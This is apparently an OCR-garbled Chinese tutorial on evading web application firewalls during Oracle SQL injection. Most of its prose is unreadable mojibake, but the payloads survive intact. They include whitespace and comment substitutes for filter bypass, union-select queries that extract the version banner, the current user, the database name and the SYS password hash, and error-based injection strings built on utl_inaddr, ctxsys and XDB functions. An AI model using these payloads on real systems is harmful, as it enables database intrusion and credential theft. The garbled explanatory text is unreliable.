ox01 B
R EF B— LR S T WAFSSS, fEO0racledd | ELANETLUXHE :

FEZFEFRT : %00
SRENEUERERRA | SELECT banner FROM v$version where rownum=1

HEEEFMysql/MSsql , ERIRIEERRD | (EREERHIL | IZSEFHTIR%00EN , —MAEEURRETA
EIEDRIX AR, —EERR—TOrace iR | SIERBLOTWARDPRISIRERISIE,
0x02 izt

EINAS/MIZAD : SELECT * FROM admin WHERE username = 1 [{iI&—] union [fIB] select [fIB=]
1,user() [{78BM] from [fIBF] admin

(iE— : S¥flunionZ[ERYIE

EBFH

Oracle A LARIAAIZAF/AA © %00 %09 %0a %0b %0c %0d %20
XS/ </

3)HEMFRF

%2e . M5

SIE= : unionfllselectZ @AY EH

NEAFR

OracledrE] LARIFBRIZ A=A @ %00 %09 %0a %0b %0c %0d %20
2 ERFS/ </

(UEB= : selectfIE@SEZERNE

EEFR

Oracledra] LARIAAIZSEAZFRA @ %00 %09 %0a %0b %0c %0d %20
2RSS/ **/

3)HEMFRF

%2b +

%2d -

%ad

select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version where
rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL

(B : ERSEMfromZERYIE
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EBFR

Oracle A LARIAAIZAZF/EA © %00 %09 %0a %0b %0c %0d %20
2 XS/ </

(BH : fromGENME

EBFR

Oracled A LARIARIZAF/AA © %00 %09 %0a %0b %0c %0d %20
2SI/

0x03 EH%L

HKB— . BEREHEH

SELECT banner FROM v$version where rownum=1 //3KREXEUEZERRZA

select user from dual where rownum=1 / /IRE B EEER R AP E
select password from sys.user$ where rownum=1 and name='SYS' //3RENFHFSYSENZY
SELECT name FROM v$database / /3RENEER

select table_name from user_tables where rownum=1l //3REXNE—NERS

Tips : froracle B|| 2EEFGS  BEEHEHMEIEERENAZ

id=1 and 1=2 union select (chr(94)||chr(94)||chr(33) || (SELECT banner FROM v$version where
rownum=1) | |chr(33) | |chr(94) | |chr(94)) from dual--

HKBIT . BHESEAN

?id=1 AND 1=utl_inaddr.get_host_address((SELECT name FROM v$database))- //3KEVES

?id=1 and 1l=ctxsys.drithsx.sn(1l, (select UTL_INADDR.get_host_address from dual where
rownum=1)) -~ //3RENEUEREIRSSRRATTE 1 p

?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where
rownum=1),'a','b')--

?id=1 Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where
rownum=1),'a','b')--

?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not
null-

?id=1 and 1l=ctxsys.drithsx.sn(1l, (select user from dual))--

0x04 END

RGLRE T —EE RAIOracle SRR E NAVEUER AL , (VMENIES I T2 A, WEES | IMESZE—TRTH#
LB EREFIE.

MNERRSEMEHNNARRS L, WESMARREHARRS 4T T3 , BRI,
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